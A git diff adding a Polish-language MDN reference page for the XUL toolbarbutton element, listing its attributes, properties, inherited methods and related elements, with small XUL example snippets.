<code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbaritem" title="toolbaritem">toolbaritem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarseparator" title="toolbarseparator">toolbarseparator</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarset" title="toolbarset">toolbarset</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspacer" title="toolbarspacer">toolbarspacer</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspring" title="toolbarspring">toolbarspring</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/toolbarbutton/index.html b/files/pl/mozilla/tech/xul/toolbarbutton/index.html
new file mode 100644
index 0000000000..48964b14f4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/toolbarbutton/index.html
@@ -0,0 +1,474 @@
+---
+title: toolbarbutton
+slug: Mozilla/Tech/XUL/toolbarbutton
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/toolbarbutton
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Przycisk, który będzie wyświetlony na <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. To jest odpowiednik prawidłowego przycisku (<code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code>) poza, którym może być renderowany bardzo różnie. Zazwyczaj, oczekuje się, że będzie posiadał obrazek.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Paski_narz%c4%99dzi">kursie XUL</a>.
+</p>
+<table style="border: solid #ccc 1px; background: #EEE; padding: 0px 10px 0px 10px; margin: 0px 0px 10px 10px;">
+<tbody><tr><td><b><a href="pl/Wskaz%c3%b3wki_dost%c4%99pno%c5%9bci_j%c4%99zyka_XUL#Toolbarbuttons">Istotne wskazówki dostępności</a></b><small>
+<ul><li> Cała funkcjonalność paska narzędzi powinna być skopiowana gdzieś w aplikacji
+<ul><li> Gdzie jest możliwe, dostarczenie alternatywnej klawiatury. </li><li> Gdzie jest możliwe, skopiowanie funkcjonalności do pozycji menu lub menu kontekstowego.
+</li><li> Gdzie nie jest możliwe, <b>make all toolbarbuttons focusable by <a href="pl/CSS/-moz-user-focus">-moz-user-focus</a>: normal.</b></li></ul></li></ul></small></td></tr></tbody></table> <dl><dt> Atrybuty
+</dt><dd> <a href="#a-accesskey">accesskey</a>, <a href="#a-autoCheck">autoCheck</a>, <a href="#a-checkState">checkState</a>, <a href="#a-checked">checked</a>, <a href="#a-command">command</a>, <a href="#a-crop">crop</a>, <a href="#a-dir">dir</a>, <a href="#a-disabled">disabled</a>, <a href="#a-dlgType">dlgType</a>, <a href="#a-group">group</a>, <a href="#a-image">image</a>, <a href="#a-label">label</a>, <a href="#a-open">open</a>, <a href="#a-orient">orient</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-toolbarbutton.type">type</a>, <a href="#a-validate">validate</a>
+</dd></dl>
+<dl><dt> Własności </dt><dd> <a href="#p-accessKey">accessKey</a>, <a href="#p-accessible">accessible</a>, <a href="#p-autoCheck">autoCheck</a>, <a href="#p-checkState">checkState</a>, <a href="#p-checked">checked</a>, <a href="#p-command">command</a>, <a href="#p-crop">crop</a>, <a href="#p-dir">dir</a>, <a href="#p-disabled">disabled</a>, <a href="#p-dlgType">dlgType</a>, <a href="#p-group">group</a>, <a href="#p-image">image</a>, <a href="#p-label">label</a>, <a href="#p-open">open</a>, <a href="#p-orient">orient</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-type">type</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-accesskey">
+
+<dl><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></dt>
+<dd> Typ: <i>znak</i>
+</dd><dd> Powinien być ustawiony na literę, która zostanie zastosowana jako klawisz dostępu. Litera ta powinna być jedną z liter, które są wyświetlane w etykiecie tekstowej (<code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>) dla elementu. </dd></dl>
+<p><br>
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<div class="float-right"><img alt="grafika:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+ &lt;textbox id="myName"/&gt;
+ &lt;button label="Cancel" accesskey="n"/&gt;
+ &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, atrybut <code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code>
+</p> <p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-autoCheck">
+
+<dl><dt> <code id="a-autoCheck"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoCheck">autoCheck</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Gdy atrybut ten ma wartość <code>true</code> lub nie jest ustawiony, stan zaznaczenia przycisku będzie przełączany przy każdym jego naciśnięciu. Gdy wartość została ustawiona na <code>false</code>, stan zaznaczenia musi być dopasowany ręcznie.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-checkState">
+
+<dl><dt> <code id="a-checkState"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checkState">checkState</a></code>
+</dt><dd> Typ: <i>integer</i>, wartość <code>0</code>, <code>1</code> lub <code>2</code>
+</dd><dd> Ten atrybut może być użyty do utworzenia przycisków trójstanowych, ponumerowanych 0, 1 i 2. W stanie 0 lub 1 naciśnięcie przycisku spowoduje przełączenie go do stanu przeciwnego. To znaczy, że przycisk działa podobnie jak pole wyboru, z wyjątkiem tym, że jest tu także stan trzeci, który musi być ustawiony ręcznie poprzez dostosowanie stanu zaznaczenia. Jeśli chcemy dostosować różne zachowania stanu przycisku, musimy ustawić atrybut <code id="a-autoCheck"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoCheck">autoCheck</a></code> na <code>false</code> i dostosować stany przycisku za pomocą skryptu. Atrybut <code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code> musi być ustawiony na <code>checkbox</code> dla przycisków ze stanem zaznaczenia. Stałe dla dostępnych wartości dla tego atrybutu znajdują się w interfejsie <a href="pl/NsIDOMXULButtonElement">nsIDOMXULButtonElement</a>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-checked">
+
+<dl><dt> <code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy przycisk jest zaznaczony. Konieczne jest ustawienie atrybutu <code><code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code></code> na <code>checkbox</code> lub <code>radio</code>, aby zmiana atrybutu <code>checked</code> mogła odnosić jakiekolwiek skutki.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-command">
+
+<dl><dt> <code id="a-command"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/command">command</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Ustawiony na wartość atrybutu <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code>, obserwowanego przez ten element.
+</dd></dl>
+
+
+</div>
+<div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-dir">
+
+<dl><dt> <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Kierunek, w którym umieszczane są elementy potomne danego elementu. </dd></dl>
+<ul><li> <code>normal</code>: Elementy są umieszczane od lewej do prawej lub od góry do dołu, w kodzie XUL.
+</li><li> <code>reverse</code>: Elementy są umieszczane od prawej do lewej lub od dołu do góry. Jest to odwrotność porządku, w którym zostały one umieszczone w kodzie XUL.
+</li></ul>
+
+
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-dlgType">
+
+<dl><dt> <code id="a-dlgType"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dlgType">dlgType</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Typ dialogowy używany jest tylko, kiedy przycisk znajduje się w oknie dialogowym. Dzięki temu można zastąpić standardowe przyciski okna dialogowego własnymi przyciskami, z tym że metody obsługi zdarzeń okna dialogowego nadal będą funkcjonować. Przykładowo, jeśli <code>dlgType</code> ma wartość <code>accept</code>, przycisk zastąpi przycisk akceptujący okna dialogowego, zwykle mający etykietę <code>OK</code>. Stosowanie tego atrybutu na przycisku nie znajdującym się w oknie dialogowym nie odniesie żadnego skutku. Poniżej przedstawiono możliwe wartości tego atrybutu:
+</dd></dl>
+<ul><li> <code>accept</code>: przycisk OK akceptujący zmiany po naciśnięciu.
+</li><li> <code>cancel</code>: przycisk Anuluj anulujący daną operację.
+</li><li> <code>help</code>: przycisk Pomoc wyświetlający informacje na temat okna dialogowego.
+</li><li> <code>disclosure</code>: przycisk służący do wyświetlenia dodatkowych informacji. Może to być zwykły przycisk lub trójkąt rozwijający.
+</li></ul>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-group">
+
+<dl>
+ <dt>
+ <code id="a-group"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/group">group</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ nazwa grupy jako łańcuch znaków</i>
+ &lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dd>
+ <dd>
+ Przyciski z tą samą wartością atrybutu <code>group</code> należą do tej samej grupy. Tylko jeden przycisk z grupy może być zaznaczony w danej chwili. Jeśli użytkownik zaznaczy jeden z przycisków, inne z tej grupy zostaną odznaczone.</dd>
+</dl>
+</div>
+<div id="a-image">
+
+<dl><dt> <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Adres URL obrazka do wyświetlenia na elemencie. Jeśli ten atrybut zostanie opuszczony, to żaden obrazek nie zostanie wyświetlony. Pozycja obrazka jest określona przez atrybuty <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> i <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.
+</dd></dl>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-open">
+
+<dl><dt> <code id="a-open"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Dla przycisków o <code id="a-type"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code> ustawionym na <code>menu</code>, atrybut <code>open</code> jest ustawiany na <code>true</code>, kiedy menu jest otwarte. Atrybut <code>open</code> nie jest obecny, jeśli menu jest zamknięte.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-orient">
+
+<dl><dt> <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Wykorzystywany do określenia, czy elementy potomne danego elementu zorientowane są poziomo czy pionowo. Domyślna wartość zależy od danego elementu. Można także skorzystać z własności stylu <code><a href="pl/CSS/-moz-box-orient">-moz-box-orient</a></code>.
+</dd></dl>
+<ul><li> <code>horizontal</code>: Elementy potomne elementu są umieszczane jeden obok drugiego w kolejności zgodnej z kolejnością w kodzie źródłowym XUL.
+</li><li> <code>vertical</code>: Elementy potomne elementu są umieszczane jeden pod drugim w kolejności zgodnej z kolejnością w kodzie źródłowym XUL.
+</li></ul>
+
+
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-toolbarbutton.type">
+
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/toolbarbutton.type">type</a></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Typ przycisku. Jeśli ten atrybut nie jest prezentowany, tworzony jest normalny przycisk. Możemy użyć tego atrybutu do wartości <code>menu</code>, aby tworzyć przyciski <a href="pl/XUL/menupopup">wyskakującego menu</a>. To będzie typowy przypadek przycisku wyświetlanego w inny sposób.</dd>
+</dl>
+<ul>
+ <li><code>menu</code>: Ustawia typ atrybutu wartości <code>menu</code>, aby utworzyć przycisk z wyskakującym okienkiem menu. Umieszczamy element <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> wewnątrz przycisku w tym przypadku. Użytkownik może klikać gdziekolwiek na przycisku, aby otworzyć lub zamknąć menu.</li>
+ <li><code>menu-button</code>: Możemy także użyć tej wartości <code>menu-button</code>, aby utworzyć przycisk z menu. Nie jak typ <code>menu</code>, ten typ żąda od użytkownika naciśnięcia strzałki do otworzenia menu, ale inne polecenie może być przywołane, kiedy główna część przycisku jest naciśnięta. Tego typu przycisk będzie stosowany dla przeglądarek w przyciskach Wstecz i Do przodu.</li>
+</ul>
+
+<p> </p>
+</div>
+<div id="a-validate">
+
+<dl>
+ <dt>
+ <code id="a-validate"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/validate">validate</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z poniższych wartości</i>
+ </dd>
+ <dd>
+ Atrybut ten określa, czy obrazek ma być wczytywany z pamięci podręcznej. Może być to przydatne, jeśli obrazki są wczytywane z serwera zdalnego, albo planowana jest częsta ich podmiana. Poniższe wartości są akceptowane; pominięcie tego atrybutu spowoduje zastosowanie wartości domyślnej.</dd>
+</dl>
+<ul>
+ <li><code>always</code>: Obrazek będzie zawsze sprawdzany, czy powinien być wczytany ponownie.</li>
+ <li><code>never</code>: Obrazek będzie wczytywany z pamięci podręcznej, o ile to tylko możliwe.</li>
+</ul>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessKey">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessKey">accessKey</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ znak</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code>.</dd>
+</dl></div>
+<div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-autoCheck">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/autoCheck">autoCheck</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-autoCheck"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoCheck">autoCheck</a></code>.</dd>
+</dl></div>
+<div id="p-checkState">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/checkState">checkState</a></span></code>
+</dt><dd> Typ: <i>integer</i>, wartości <code>0</code>, <code>1</code> lub <code>2</code>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-checkState"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checkState">checkState</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-checked">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/checked">checked</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-command">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/command">command</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element id</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-command"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/command">command</a></code>.</dd>
+</dl></div>
+<div id="p-crop">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/crop">crop</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>.</dd>
+</dl></div>
+<div id="p-dir">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/dir">dir</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-dlgType">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/dlgType">dlgType</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-dlgType"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dlgType">dlgType</a></code>.</dd>
+</dl></div>
+<div id="p-group">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/group">group</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ tekstowa nazwa grupy</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-group"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/group">group</a></code>.</dd>
+</dl></div>
+<div id="p-image">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/image">image</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ adres URL obrazka</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl></div>
+<div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-open">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/open">open</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-open"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code>.</dd>
+</dl></div>
+<div id="p-orient">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/orient">orient</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.</dd>
+</dl></div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-type">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/type">type</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code>.</dd>
+</dl>
+
+<p> </p></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a 